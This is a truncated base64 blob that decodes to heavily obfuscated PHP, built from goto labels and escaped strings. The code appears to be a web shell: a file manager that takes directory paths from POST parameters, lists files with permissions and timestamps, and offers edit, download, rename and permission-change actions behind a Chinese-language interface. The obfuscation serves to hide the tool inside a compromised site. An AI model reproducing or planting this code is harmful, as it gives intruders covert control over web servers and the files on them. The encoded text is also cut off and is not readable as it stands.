BtTTdidTogJFFTTzhmIC49IFwiXFx4M2NcXDE0NFxcMTUxXFwxNjZcXDQwXFx4NjNcXHg2Y1xceDYxXFx4NzNcXDE2M1xcNzVcXHgyMlxcMTQxXFx4NjNcXDE2NFxcMTQxXFwxNTRcXDE1NFxceDIyXFw0MFxceDczXFx4NzRcXHg3OVxcMTU0XFx4NjVcXHgzZFxceDIyXFx4NzBcXDE0MVxcMTQ0XFx4NjRcXHg2OVxceDZlXFx4NjdcXDcyXFw2NVxceDcwXFx4NzhcXHgzYlxcMTYwXFx4NjFcXDE0NFxcMTQ0XFx4NjlcXHg2ZVxceDY3XFx4MmRcXDE2MlxceDY5XFwxNDdcXDE1MFxcMTY0XFw3MlxceDM2XFw3MFxcMTYwXFwxNzBcXHgzYlxceDIyXFw3NlxceDNjXFx4NjlcXHg2ZVxcMTYwXFwxNjVcXHg3NFxcNDBcXHg3NFxcMTcxXFwxNjBcXDE0NVxcNzVcXDQyXFwxNDJcXDE2NVxceDc0XFx4NzRcXDE1N1xceDZlXFw0MlxceDIwXFx4NmZcXDE1NlxceDYzXFwxNTRcXDE1MVxcMTQzXFx4NmJcXHgzZFxceDIyXFw0NFxcNTBcXDQ3XFwxNDVcXHg2NFxceDY5XFx4NzRcXDE0NlxceDcyXFwxNTVcXDQ3XFx4MjlcXDU2XFx4NzNcXDE2NVxceDYyXFx4NmRcXDE1MVxceDc0XFx4MjhcXHgyOVxcNzNcXDQyXFx4MjBcXDE2NlxcMTQxXFx4NmNcXDE2NVxcMTQ1XFw3NVxceDIyXFwzNDRcXHhiZlxcMjM1XFwzNDVcXDI1NVxceDk4XFw0MlxcNDBcXDE2M1xceDc0XFx4NzlcXDE1NFxcMTQ1XFw3NVxceDIyXFx4NzdcXDE1MVxceDY0XFx4NzRcXDE1MFxceDNhXFw3MFxcNjBcXHg3MFxcMTcwXFx4M2JcXDQyXFx4M2VcXDQwXCI7IGdvdG8geUNESG07IHBpeW5NOiBmb3JlYWNoICgkSTgzMTQgYXMgJEtQdGJLID0+ICRLZXNfcSkgeyAkUVNPOGYgLj0gXCJcXHgzY1xceDZmXFx4NzBcXDE2NFxceDY5XFwxNTdcXDE1NlxceDIwXFwxNjZcXHg2MVxceDZjXFx4NzVcXDE0NVxceDNkXFx4MjJcIiAuICRLUHRiSyAuIFwiXFx4MjJcIiAuICgkS2VzX3EgPT0gJHRBZTBDID8gXCJcXDQwXFwxNjNcXHg2NVxcMTU0XFwxNDVcXDE0M1xceDc0XFx4NjVcXHg2NFwiIDogJycpIC4gXCJcXDc2XCIgLiAkS2VzX3EgLiBcIlxceDNjXFw1N1xceDZmXFx4NzBcXDE2NFxcMTUxXFwxNTdcXDE1NlxcNzZcIjsgcHNNYUg6IH0gZ290byBhV0c0bzsgZDNiZDQ6ICRRU084ZiAuPSBcIlxcNzRcXDE1MVxcMTU2XFwxNjBcXHg3NVxcMTY0XFx4MjBcXDE2NFxcMTcxXFx4NzBcXHg2NVxceDNkXFx4MjJcXHg2OFxceDY5XFwxNDRcXDE0NFxcMTQ1XFx4NmVcXHgyMlxceDIwXFwxNTZcXHg2MVxceDZkXFwxNDVcXHgzZFxceDIyXFx4NjdcXHg2ZlxcNDJcXDQwXFx4NzZcXDE0MVxceDZjXFx4NzVcXDE0NVxceDNkXFx4MjJcXHgyMlxceDNlXFw3NFxceDY5XFx4NmVcXHg3MFxcMTY1XFx4NzRcXHgyMFxceDc0XFx4NzlcXDE2MFxceDY1XFx4M2RcXDQyXFwxNTBcXHg2OVxcMTQ0XFwxNDRcXHg2NVxceDZlXFx4MjJcXHgyMFxceDZlXFwxNDFcXHg2ZFxcMTQ1XFx4M2RcXHgyMlxceDYxXFwxNDNcXHg3NFxcNDJcXHgyMFxceDY5XFx4NjRcXDc1XFx4MjJcXHg2MVxceDYzXFwxNjRcXHgyMlxceDIwXFwxNjZcXDE0MVxcMTU0XFwxNjVcXDE0NVxceDNkXFx4MjJcXHg2NVxceDY0XFx4NjlcXHg3NFxceDIyXFw3NlwiOyBnb3RvIHBzazJWOyBvYl8zaDogZ290byBKMWV5YzsgZ290byB2blQyVzsgdHRDSWk6ICRVZ0x6XyA9IFwiXFwzNDNcXHg4MFxceDkwXFwzNDZcXHg5NlxceDg3XFx4ZTRcXDI3M1xcMjY2XFwzNDVcXDI2MVxceDllXFx4ZTZcXHg4MFxceGE3XFw0MFwiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJFNGSjl6KSksIC00KSAuIFwiXFwzNDNcXHg4MFxcMjIxXFw0MFxcMzQzXFx4ODBcXHg5MFxcMzQ2XFx4OTZcXHg4N1xcMzQ0XFx4YmJcXHhiNlxceGU1XFwyNDRcXDI0N1xceGU1XFwyNjBcXHg4ZlxcNDBcIiAuICRUM1dJQiAuIFwiXFx4ZTNcXDIwMFxceDkxXFw0MFxcMzQzXFwyMDBcXHg5MFxcMzQ2XFx4OTZcXDIwN1xcMzQ0XFwyNzNcXDI2NlxceGU3XFwyNzRcXHg5NlxcMzQ3XFx4YTBcXHg4MVxcNDBcIiAuICR0QWUwQyAuIFwiXFwzNDNcXHg4MFxceDkxXCI7IGdvdG8gb2JfM2g7IGZIVFdqOiAkU0ZKOXogPSBQQk0wNygkX1BPU1RbXCJcXDE0N1xceDZmXFx4NjRcXHg2OVxceDcyXCJdIC4gXCJcXDU3XCIgLiAkX1BPU1RbXCJcXDE0N1xceDZmXFx4NzZcXDE0MVxceDcyXCJdKTsgZ290byBkS0NUWDsgQlhOQk86ICRRU084ZiAuPSBBeHR0USgpOyBnb3RvIHd2V1luOyBFcEswcjogfSBwdWJsaWMgZnVuY3Rpb24gSjBJMVooKSB7IGdvdG8geHpVenU7IGw3NV9QOiAkUVNPOGYgLj0gXCJcXDc0XFwxNTFcXDE1NlxceDcwXFx4NzVcXHg3NFxceDIwXFwxNjRcXDE3MVxcMTYwXFx4NjVcXHgzZFxcNDJcXDE0MlxceDc1XFwxNjRcXHg3NFxceDZmXFwxNTZcXDQyXFw0MFxceDc2XFwxNDFcXDE1NFxceDc1XFwxNDVcXDc1XFw0MlxceGU2XFx4OTdcXHhiNlxcMzUxXFwyMjdcXDI2NFxcNDJcXHgyMFxceDczXFwxNjRcXDE3MVxceDZjXFx4NjVcXDc1XFw0MlxceDc3XFx4NjlcXDE0NFxceDc0XFx4NjhcXDcyXFw2NVxceDMwXFx4NzBcXHg3OFxcNzNcXHgyMlxcNDBcXHg2ZlxceDZlXFwxNDNcXHg2Y1xceDY5XFx4NjNcXHg2YlxceDNkXFw0N1xcMTY0XFx4NzhcXDE2NFxceDczXFw1MFxcNDJcXDM0NFxcMjc3XFx4YWVcXDM0NlxceDk0XFwyNzFcXDM0NlxceDk3XFwyNjZcXDM1MVxceDk3XFx4YjRcXDQyXFw1NFxcNDJcIiAuICR5SUNEWiAuIFwiXFw0MlxceDJjXFw0MlxcMTQ0XFw0MlxcNTFcXHgzYlxcNDdcXHgzZVxceDIwXCI7IGdvdG8gc3NlSDU7IExuMGxuOiAkUVNPOGYgLj0gXCJcXDc0XFx4NjlcXHg2ZVxceDcwXFwxNjVcXHg3NFxcNDBcXDE2NFxceDc5XFx4NzBcXHg2NVxcNzVcXHgyMlxceDYyXFx4NzVcXHg3NFxceDc0XFx4NmZcXDE1NlxcNDJcXHgyMFxcMTY2XFx4NjFcXDE1NFxcMTY1XFx4NjVcXHgzZFxceDIyXFx4ZTVcXDI0NFxceDhkXFx4ZTVcXHg4OFxceGI2XFw0MlxceDIwXFx4NzNcXDE2NFxceDc5XFwxNTRcXDE0NVxcNzVcXDQyXFx4NzdcXDE1MVxceDY0XFx4NzRcXDE1MFxceDNhXFw2NVxceDMwXFwxNjBcXHg3OFxcNzNcXHgyMlxcNDBcXHg2ZlxcMTU2XFx4NjNcXDE1NFxceDY5XFx4NjNcXDE1M1xcNzVcXDQ3XFwxNjRcXDE3MFxcMTY0XFx4NzNcXHgyOFxceDIyXFwzNDVcXDI0NFxcMjE1XFwzNDVcXDIxMFxceGI2XFx4ZThcXHhiN1xcMjU3XFx4ZTVcXDI3NlxcMjA0XFx4MjJcXDU0XFx4MjJcIiAuICRKendyYSAuIFwiXFw0MlxceDJjXFx4MjJcXHg2MVxceDIyXFx4MjlcXDczXFx4MjdcXDc2XFw0MFwiOyBnb3RvIFg5MWRyOyBzc2VINTogJFFTTzhmIC49IFwiXFx4M2NcXHgyZlxcMTQyXFx4NzJcXDc2XFw0NlxcMTU2XFx4NjJcXDE2M1xcMTYwXFw3M1xcNDZcXHg2ZVxceDYyXFwxNjNcXDE2MFxcNzNcXHgyNlxceDZlXFwxNDJcXHg3M1xcMTYwXFw3M1xceDI2XFwxNTZcXDE0MlxceDczXFx4NzBcXDczXCI7IGdvdG8gT1F1YVc7IGNVTlZ0OiAkUVNPOGYgLj0gXCJcXDc0XFx4NjZcXHg2ZlxceDcyXFx4NmRcXHgyMFxcMTU2XFwxNDFcXHg2ZFxcMTQ1XFx4M2RcXHgyMlxcMTQ2XFwxNjJcXDE1NVxcNjFcXHgyMlxceDIwXFx4NjlcXHg2NFxceDNkXFw0MlxcMTQ2XFwxNjJcXHg2ZFxceDMxXFx4MjJcXHgyMFxceDZkXFwxNDVcXDE2NFxceDY4XFx4NmZcXHg2NFxcNzVcXDQyXFwxMjBcXDExN1xcMTIzXFx4NTRcXDQyXFx4M2VcXHgzY1xcMTY0XFx4NjFcXHg2MlxcMTU0XFx4NjVcXDQwXFx4NjNcXHg2Y1xcMTQxXFwxNjNcXDE2M1xceDNkXFw0MlxceDc0XFwxNDFcXDE0MlxcMTU0XFx4NjVcXDE2M1xceDIyXFx4M2VcIjsgZ290byBJWTNmNzsgbllVYUU6ICRKcUthRyA9IGlzc2V0KCRfUE9TVFtcIlxceDY3XFx4NmZcIl0pID8gJF9QT1NUW1wiXFwxNDdcXDE1N1wiXSA6ICcnOyBnb3RvIG1CWlBGOyBId3hzYzogJFFTTzhmIC49IFwiXFw3NFxcMTU3XFwxNjBcXDE2NFxcMTUxXFwxNTdcXDE1NlxcNzZcXDU1XFx4MmRcXDU1XFwzNDdcXDIxMVxceGI5XFwzNDZcXHhhZVxcMjEyXFwzNDdcXDIzM1xcMjU2XFx4ZTVcXHhiZFxceDk1XFx4MmRcXHgyZFxcNTVcXHgzY1xceDJmXFx4NmZcXHg3MFxceDc0XFwxNTFcXHg2ZlxceDZlXFx4M2VcIjsgZ290byB3TFFFRzsgUVVJTjY6IENEMmZNOiBnb3RvIHpFaDJuOyBDbUZsczogaWYgKCFpc3NldCgkWUpuYnJbXCJcXHg2NFxcMTUxXFwxNjJcIl0pKSB7IGdvdG8geGRDZ2U7IH0gZ290byBUT0FSVDsgQlRIWnU6IGFzb3J0KCRZSm5icltcIlxceDY0XFx4NjlcXDE2MlwiXSk7IGdvdG8gRGdzenM7IHBpaXREOiBpZiAoIWlzc2V0KCRZSm5icltcIlxceDY0XFx4NjlcXDE2MlwiXSkpIHsgZ290byBpdVB2dzsgfSBnb3RvIEJUSFp1OyBxc0RoTjogRUNONng6IGdvdG8gblVLZ2I7IHlld09COiAkUVNPOGYgLj0gXCJcXHgzY1xceDY0XFx4NjlcXHg3NlxceDIwXFwxNDNcXDE1NFxceDYxXFwxNjNcXDE2M1xceDNkXFx4MjJcXHg2ZFxcMTYzXFwxNDdcXDE0MlxceDZmXFwxNzBcXHgyMlxceDNlXCIgLiAkVWdMel8gLiBcIlxceDNjXFw1N1xceDY0XFwxNTFcXDE2NlxcNzZcIjsgZ290byBDZGJXSDsgZTZ2cVM6ICRRU084ZiAuPSBcIlxceDNjXFx4NmZcXHg3MFxcMTY0XFwxNTFcXDE1N1xcMTU2XFw0MFxceDc2XFwxNDFcXDE1NFxceDc1XFx4NjVcXHgzZFxceDIyXFx4NDNcXDcyXFx4MmZcXDEwNFxcMTU3XFwxNDNcXDE2NVxcMTU1XFx4NjVcXHg2ZVxceDc0XFx4NzNcXDQwXFwxNDFcXDE1NlxcMTQ0XFw0MFxceDUzXFx4NjVcXHg3NFxceDc0XFx4NjlcXDE1NlxceDY3XFwxNjNcXHgyZlxcMTAxXFx4NmNcXDE1NFxcNDBcXDEyNVxceDczXFx4NjVcXHg3MlxceDczXFw1N1xceGUzXFwyMDBcXHg4Y1xcMzQ1XFwyNzRcXDIwMFxcMzQ1XFwyNDdcXDIxM1xcMzQzXFwyMDBcXHg4ZFxcMzUwXFx4OGZcXHg5Y1xceGU1XFwyMTVcXDIyNVxcNTdcXHhlN1xceGE4XFwyMTNcXHhlNVxceGJhXFwyMTdcXHgyZlxceGU1XFx4OTBcXDI1N1xcMzQ1XFx4OGFcXHhhOFxcNTdcXHgyMlxceDNlXFx4NTdcXDE1MVxcMTU2XFx4MmRcXHhlNVxcMjIwXFx4YWZcXDM0NVxcMjEyXFwyNTBcXDc0XFx4MmZcXDE1N1xcMTYwXFx4NzRcXHg2OVxcMTU3XFwxNTZcXHgzZVwiOyBnb3RvIHpwREJxOyBHR2hRUDogJFFTTzhmIC49IFwiXFx4M2NcXHg2OVxceDZlXFwxNjBcXHg3NVxceDc0XFw0MFxcMTY0XFx4NzlcXDE2MFxceDY1XFx4M2RcXHgyMlxceDYyXFwxNjVcXHg3NFxceDc0XFwxNTdcXDE1NlxcNDJcXDQwXFwxNjZcXDE0MVxcMTU0XFwxNjVcXHg2NVxceDNkXFx4MjJcXDM0NlxcMjI2XFwyNjBcXDM0NVxcMjczXFwyNzJcXDM0NlxceDk2XFx4ODdcXHhlNFxceGJiXFwyNjZcXDQyXFx4MjBcXHg2ZlxceDZlXFwxNDNcXHg2Y1xcMTUxXFx4NjNcXDE1M1xceDNkXFx4MjJcXHg2ZVxcMTQ2XFw1MFxcNDdcXHg2NVxcMTQ0XFwxNTFcXDE2NFxcNDdcXHgyY1xcNDdcXHg2ZVxcMTQ1XFx4NzdcXDE0NlxceDY5XFwxNTRcXDE0NVxcNTZcXDE2MFxcMTUwXFwxNjBcXDQ3XFx4MjlcXHgzYlxceDIyXFx4MjBcXDE2M1xcMTY0XFwxNzFcXDE1NFxcMTQ1XFw3NVxcNDJcXHg3N1xceDY5XFx4NjRcXDE2NFxcMTUwXFw3MlxceDM2XFw3MFxceDcwXFx4NzhcXHgzYlxcNDJcXDc2XFw0MFwiOyBnb3RvIE5vZUtzOyB0UmRHdTogJHVNbjFpID0gJyc7IGdvdG8gdXhZNko7IGlJUmQ1OiAkeDNDUTAgPSAkSjNIb3YgPSBwQk0wNygkX1BPU1RbXCJcXDE0N1xceDZmXFwxNDRcXDE1MVxcMTYyXCJdIC4gXCJcXDU3XCIgLiAkX1BPU1RbXCJcXDE0N1xceDZmXFx4NzZcXHg2MVxcMTYyXCJdKTsgZ290byB2YjZMRzsgQmFDSmY6IHRyeSB7ICRSb050QyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRKendyYSkpLCAtNCk7IH0gY2F0Y2ggKFRocm93YWJsZSAkeVZiZUMpIHsgJFJvTnRDID0gZmFsc2U7IH0gZ290byBsWVZENjsgTUQ5VGU6ICRRU084ZiAuPSBcIlxcNzRcXDE1MVxceDZlXFx4NzBcXDE2NVxceDc0XFx4MjBcXHg3NFxceDc5XFx4NzBcXDE0NVxceDNkXFw0MlxceDYyXFwxNjVcXDE2NFxcMTY0XFx4NmZcXHg2ZVxcNDJcXDQwXFx4NzZcXHg2MVxcMTU0XFx4NzVcXHg2NVxceDNkXFx4MjJcXHhlNFxcMjcwXFwyMDBcXDM1MVxcMjI0XFwyNTZcXHg0N1xceDVhXFwxMTRcXHgyMlxceDIwXFx4NzNcXDE2NFxcMTcxXFwxNTRcXDE0NVxcNzVcXHgyMlxcMTY3XFx4NjlcXHg2NFxceDc0XFx4NjhcXDcyXFw3MFxcNjBcXDE2MFxceDc4XFx4M2JcXHgyMlxcNDBcXHg2ZlxceDZlXFwxNDNcXDE1NFxcMTUxXFwxNDNcXDE1M1xceDNkXFx4MjdcXDE2NFxcMTcwXFwxNjRcXHg3M1xcNTBcXHgyMlxceGU0XFwyNzBcXHg4MFxcMzUxXFwyMjRcXDI1NlxceDQ3XFwxMzJcXHg0Y1xcNDJcXHgyY1xceDIyXCIgLiAkSnp3cmEgLiBcIlxcNDJcXHgyY1xceDIyXFwxNDdcXHg3YVxcMTU0XFx4MjJcXHgyOVxcNzNcXDQ3XFw3NlxcNDBcIjsgZ290byBLZkxJSzsgYmlaT1Y6IGZvcmVhY2ggKCRZSm5icltcIlxceDY2XFx4NjlcXHg2Y1xcMTQ1XCJdIGFzICRQZlJ2TCA9PiAkS2VzX3EpIHsgZ290byBTTVYxVjsgSElpREs6ICRRU084ZiAuPSBcIlxcNzRcXDE2NFxceDY0XFw3NlxceDNjXFx4NjlcXDE1NlxceDcwXFx4NzVcXDE2NFxceDIwXFwxNjRcXHg3OVxceDcwXFx4NjVcXHgzZFxcNDJcXDE0M1xceDY4XFwxNDVcXHg2M1xcMTUzXFwxNDJcXDE1N1xcMTcwXFw0MlxceDIwXFwxNTZcXHg2MVxcMTU1XFx4NjVcXHgzZFxcNDJcXHg2NlxceDY5XFx4NmNcXHg2NVxceDczXFx4NWJcXHg1ZFxceDIyXFw0MFxcMTY2XFwxNDFcXDE1NFxceDc1XFwxNDVcXHgzZFxceDIyXCIgLiAkS2VzX3EgLiBcIlxceDIyXFw3NlxcNzRcXHg2MVxcNDBcXHg3NFxcMTQxXFx4NzJcXHg2N1xceDY1XFx4NzRcXHgzZFxcNDJcXHg1ZlxcMTQyXFwxNTRcXHg2MVxceDZlXFx4NmJcXDQyXFw0MFxceDY4XFx4NzJcXHg2NVxcMTQ2XFw3NVxceDIyXCIgLiAkbmJ6SGwgLiAkS2VzX3EgLiBcIlxcNDJcXHgzZVwiIC4gc3RydHIoJEtlc19xLCBhcnJheShcIlxcNDVcXHgzMlxceDM3XCIgPT4gXCJcXHgyN1wiLCBcIlxceDI1XFw2MlxcNjJcIiA9PiBcIlxcNDJcIikpIC4gXCJcXHgzY1xcNTdcXDE0MVxceDNlXFx4M2NcXHgyZlxceDc0XFx4NjRcXDc2XCI7IGdvdG8gbTI4dUk7IGl3OTkwOiAkUVNPOGYgLj0gXCJcXDc0XFw1N1xcMTY0XFwxNjJcXDc2XCI7IGdvdG8gWkhpVGQ7IEtDdWp5OiAkUVNPOGYgLj0gXCJcXDc0XFwxNjRcXHg2NFxcNzZcXHgzY1xceDYxXFx4MjBcXHg2OFxcMTYyXFwxNDVcXDE0NlxceDNkXFw0MlxcMTUyXFwxNDFcXHg3NlxcMTQxXFwxNjNcXDE0M1xcMTYyXFx4NjlcXDE2MFxceDc0XFw3MlxcMTQxXFwxNDNcXDE2NFxceDczXFw1MFxcNDdcIiAuICRJVTEzSCAuIFwiXFw0N1xceDJjXFw0N1xceDcwXFwxNDRcXDQ3XFw1NFxcNDdcIiAuICRLZXNfcSAuIFwiXFw0N1xceDI5XFx4M2JcXHgyMlxceDNlXCIgLiAkSVUxM0ggLiBcIlxceDNjXFx4MmZcXHg2MVxceDNlXFw3NFxceDJmXFx4NzRcXHg2NFxceDNlXCI7IGdvdG8gZzlIcTA7IEFpYTNXOiAkUVNPOGYgLj0gXCJcXDc0XFwxNjRcXDE0NFxceDNlXCIgLiAkeUlDRFogLiBcIlxceDNjXFw1N1xcMTY0XFx4NjRcXDc2XCI7IGdvdG8gQ2I3R1k7IGNrYk90OiAkUVNPOGYgLj0gXCJcXDc0XFx4NjFcXHgyMFxcMTUwXFx4NzJcXDE0NVxcMTQ2XFw3NVxceDIyXFwxNTJcXHg2MVxcMTY2XFwxNDFcXHg3M1xceDYzXFx4NzJcXHg2OVxcMTYwXFwxNjRcXHgzYVxcMTQxXFwxNDNcXDE2NFxcMTYzXFw1MFxceDI3XCIgLiAkS2VzX3EgLiBcIlxcNDdcXDU0XFw0N1xceDcyXFwxNDZcXDQ3XFx4MmNcXDQ3XCIgLiAkS2VzX3EgLiBcIlxceDI3XFx4MjlcXHgzYlxceDIyXFw3NlxceGU2XFx4OTRcXDI3MVxcMzQ1XFx4OTBcXDIxNVxcNzRcXHgyZlxcMTQxXFx4M2VcXHgzY1xcNTdcXHg3NFxceDY0XFx4M2VcIjsgZ290byBLQ3VqeTsgU01WMVY6ICRJVTEzSCA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRQZlJ2TCkpLCAtNCk7IGdvdG8gcTFEYUU7IFkyenB1OiBXTzlSNDogZ290byBiMlgzbzsgZzlIcTA6ICRRU084ZiAuPSBcIlxcNzRcXDE2NFxceDY0XFw3NlwiIC4gJHVNbjFpIC4gXCJcXHgzY1xcNTdcXDE2NFxcMTQ0XFx4M2VcIjsgZ290byBBaWEzVzsgbk5JODU6ICRUM1dJQiA9IElEeWZSKGZpbGVzaXplKCRQZlJ2TCkpOyBnb3RvIHVNZjNLOyBtMjh1STogJFFTTzhmIC49IFwiXFw3NFxceDc0XFwxNDRcXHgzZVxcNzRcXDE0MVxcNDBcXDE1MFxcMTYyXFwxNDVcXHg2NlxcNzVcXHgyMlxcMTUyXFx4NjFcXHg3NlxcMTQxXFx4NzNcXDE0M1xcMTYyXFwxNTFcXHg3MFxceDc0XFx4M2FcXHg2N1xceDZmXFx4MjhcXHgyN1xcMTQ1XFwxNDRcXHg2OVxcMTY0XFx4MjdcXHgyY1xceDI3XCIgLiAkS2VzX3EgLiBcIlxcNDdcXHgyOVxceDNiXFx4MjJcXHgzZVxcMzQ3XFx4YmNcXHg5NlxcMzUwXFwyNzZcXHg5MVxceDNjXFw1N1xceDYxXFx4M2VcXHgyMFwiOyBnb3RvIGNrYk90OyBDYjdHWTogJFFTTzhmIC49IFwiXFx4M2NcXDE2NFxcMTQ0XFw0MFxceDYxXFwxNTRcXDE1MVxcMTQ3XFx4NmVcXHgzZFxcNDJcXDE2MlxcMTUxXFwxNDdcXDE1MFxcMTY0XFw0MlxcNzZcXHgzY1xceDYxXFw0MFxcMTUwXFwxNjJcXHg2NVxcMTQ2XFw3NVxceDIyXFx4NmFcXHg2MVxcMTY2XFwxNDFcXDE2M1xcMTQzXFwxNjJcXDE1MVxceDcwXFx4NzRcXHgzYVxcMTQ3XFwxNTdcXDUwXFw0N1xceDY0XFx4NmZcXHg3N1xceDZlXFw0N1xceDJjXFx4MjdcIiAuICRLZXNfcSAuIFwiXFx4MjdcXHgyOVxceDNiXFx4MjJcXDc2XCIgLiAkVDNXSUIgLiBcIlxceDNjXFx4MmZcXDE0MVxceDNlXFw3NFxcNTdcXDE2NFxcMTQ0XFw3NlwiOyBnb3RvIGl3OTkwOyBxMURhRTogJHVNbjFpID0gZGF0ZShcIlxceDU5XFw1NVxceDZkXFx4MmRcXDE0NFxceDIwXFx4NDhcXHgzYVxcMTUxXFx4M2FcXHg3M1wiLCBmaWxlY3RpbWUoJFBmUnZMKSk7IGdvdG8gWlQyWFo7IFpUMlhaOiAkeUlDRFogPSBkYXRlKFwiXFwxMzFcXHgyZFxcMTU1XFw1NVxceDY0XFw0MFxcMTEwXFx4M2FcXHg2OVxceDNhXFwxNjNcIiwgZmlsZW10aW1lKCRQZlJ2TCkpOyBnb3RvIG5OSTg1OyBaSGlUZDogJERPZEJaKys7IGdvdG8gWTJ6cHU7IHVNZjNLOiAkUVNPOGYgLj0gXCJcXDc0XFx4NzRcXDE2MlxcNzZcIjsgZ290byBISWlESzsgYjJYM286IH0gZ290byBxc0RoTjsga3N6SGo6ICRRU084ZiAuPSBcIlxceDNjXFwxNTFcXDE1NlxceDcwXFwxNjVcXHg3NFxcNDBcXHg3NFxceDc5XFwxNjBcXDE0NVxcNzVcXDQyXFwxNDJcXHg3NVxceDc0XFx4NzRcXHg2ZlxcMTU2XFw0MlxcNDBcXHg3NlxceDYxXFwxNTRcXDE2NVxceDY1XFx4M2RcXDQyXFwzNDRcXHhiOFxceDgwXFx4ZTlcXDIyNFxcMjU2XFx4NGFcXHg1M1xcMTAzXFw0MlxcNDBcXDE2M1xcMTY0XFwxNzFcXDE1NFxcMTQ1XFw3NVxcNDJcXHg3N1xcMTUxXFx4NjRcXDE2NFxcMTUwXFx4M2FcXDcwXFw2MFxceDcwXFwxNzBcXDczXFw0MlxceDIwXFx4NmZcXDE1NlxceDYzXFwxNTRcXHg2OVxceDYzXFx4NmJcXHgzZFxceDI3XFx4NzRcXHg3OFxceDc0XFwxNjNcXDUwXFw0MlxceGU0XFx4YjhcXHg4MFxcMzUxXFx4OTRcXHhhZVxcMTEyXFx4NTNcXHg0M1xceDIyXFx4MmNcXHgyMlwiIC4gJEp6d3JhIC4gXCJcXHgyMlxceDJjXFx4MjJcXHg0YVxcMTIzXFx4NDNcXDQyXFw1MVxcNzNcXDQ3XFx4M2VcXHgyMFwiOyBnb3RvIFU3VnFmOyBBdmtWajogJFFTTzhmIC49IFwiXFw3NFxceDY5XFwxNTZcXDE2MFxceDc1XFwxNjRcXHgyMFxceDc0XFwxNzFcXHg3MFxcMTQ1XFw3NVxceDIyXFx4NjZcXDE1MVxcMTU0XFwxNDVcXDQyXFw0MFxcMTU2XFwxNDFcXHg2ZFxceDY1XFw3NVxceDIyXFwxNjVcXDE2MFxcMTQ2XFx4NjlcXDE1NFxcMTQ1XFw0MlxcNDBcXDE2M1xcMTY0XFwxNzFcXDE1NFxcMTQ1XFx4M2RcXHgyMlxceDc3XFwxNTFcXHg2NFxcMTY0XFwxNTBcXDcyXFx4MzJcXDcwXFw2NlxceDcwXFx4NzhcXDczXFwxNTBcXDE0NVxcMTUxXFx4NjdcXDE1MFxceDc0XFw3MlxcNjJcXDYxXFwxNjBcXDE3MFxceDNiXFw0MlxceDNlXFx4MjBcIjsgZ290byB1clZGOTsgT1F1YVc6ICRRU084ZiAuPSBcIlxcNzRcXHg2OVxcMTU2XFx4NzBcXHg3NVxcMTY0XFw0MFxcMTY0XFwxNzFcXHg3MFxceDY1XFx4M2RcXDQyXFwxNDJcXDE2NVxcMTY0XFwxNjRcXHg2ZlxcMTU2XFx4MjJcXDQwXFx4NzZcXDE0MVxcMTU0XFwxNjVcXHg2NVxceDNkXFx4MjJcXHhlNFxcMjcwXFx4ODBcXHhlOVxceDk0XFwyNTZcXDM0NVxcMjYwXFwyMTdcXDExNVxceDIyXFx4MjBcXDE2M1xcMTY0XFx4NzlcXDE1NFxcMTQ1XFw3NVxceDIyXFwxNjdcXDE1MVxceDY0XFwxNjRcXDE1MFxceDNhXFx4MzhcXHgzMFxceDcwXFwxNzBcXHgzYlxcNDJcXHgyMFxceDZmXFwxNTZcXDE0M1xcMTU0XFx4NjlcXDE0M1xceDZiXFx4M2RcXHgyN1xceDc0XFwxNzBcXHg3NFxceDczXFx4MjhcXDQyXFx4ZTRcXHhiOFxceDgwXFwzNTFcXDIyNFxcMjU2XFx4ZTVcXDI2MFxceDhmXFwxMTVcXHgyMlxcNTRcXDQyXCIgLiAkSnp3cmEgLiBcIlxceDIyXFw1NFxceDIyXFwxNzBcXDE1MVxceDYxXFwxNTdcXDE1NVxcMTQxXFx4MjJcXDUxXFx4M2JcXDQ3XFx4M2VcXDQwXCI7IGdvdG8gVjkzOEs7IGlBb1BSOiAkUVNPOGYgLj0gXCJcXHgzY1xceDY5XFwxNTZcXHg3MFxcMTY1XFwxNjRcXHgyMFxcMTY0XFwxNzFcXHg3MFxceDY1XFw3NVxceDIyXFwxNTBcXDE1MVxcMTQ0XFx4NjRcXHg2NVxceDZlXFw0MlxcNDBcXDE1NlxcMTQxXFx4NmRcXHg2NVxcNzVcXHgyMlxcMTY2XFx4NjFcXHg3MlxcNDJcXDQwXFx4NjlcXHg2NFxcNzVcXDQyXFx4NzZcXDE0MVxceDcyXFw0MlxceDIwXFwxNjZcXHg2MVxcMTU0XFwxNjVcXHg2NVxceDNkXFw0MlxceDIyXFw3NlwiOyBnb3RvIHdDdlJLOyBWRzNOSzogSG1KT1Y6IGdvdG8gQmFDSmY7IGZYdDZ1OiAkVWdMel8gPSBGaVZSZygkemkwWTAsICRKM0hvdikgPyBcIlxcNzRcXDE1MFxceDMyXFw3NlxceGU0XFwyNzBcXHg4YVxceGU0XFwyNzRcXHhhMFxceGU2XFx4OTZcXDIwN1xceGU0XFx4YmJcXDI2NlwiIC4gJFFZNWFvIC4gXCJcXHhlNlxcMjEwXFwyMjBcXDM0NVxceDhhXFx4OWZcXDc0XFw1N1xceDY4XFx4MzJcXDc2XCIgOiBcIlxcNzRcXHg2OFxcNjFcXHgzZVxcMzQ0XFx4YjhcXDIxMlxcMzQ0XFx4YmNcXHhhMFxceGU2XFx4OTZcXDIwN1xcMzQ0XFx4YmJcXDI2NlwiIC4gJFFZNWFvIC4gXCJcXHhlNVxceGE0XFwyNjFcXDM1MFxcMjY0XFx4YTVcXHgzY1xceDJmXFx4NjhcXDYxXFx4M2VcIjsgZ290byB6ZXByMTsgR2x0M3o6ICRRU084ZiAuPSBcIlxcNzRcXHg3M1xcMTQ1XFwxNTRcXHg2NVxceDYzXFwxNjRcXHgyMFxcMTU3XFx4NmVcXHg2M1xcMTUwXFx4NjFcXDE1NlxceDY3XFwxNDVcXDc1XFw0MlxceDYzXFwxNDRcXDUwXFwxNTdcXHg3MFxceDc0XFx4NjlcXHg2ZlxcMTU2XFx4NzNcXDEzM1xcMTYzXFwxNDVcXDE1NFxcMTQ1XFwxNDNcXDE2NFxcMTQ1XFwxNDRcXHg0OVxceDZlXFx4NjRcXDE0NVxceDc4XFwxMzVcXDU2XFx4NzZcXDE0MVxceDZjXFx4NzVcXDE0NVxceDI5XFw3M1xceDIyXFx4M2VcIjsgZ290byBId3hzYzsgS2ZMSUs6ICRRU084ZiAuPSBcIlxceDNjXFx4NjlcXHg2ZVxceDcwXFx4NzVcXDE2NFxcNDBcXDE2NFxceDc5XFx4NzBcXDE0NVxceDNkX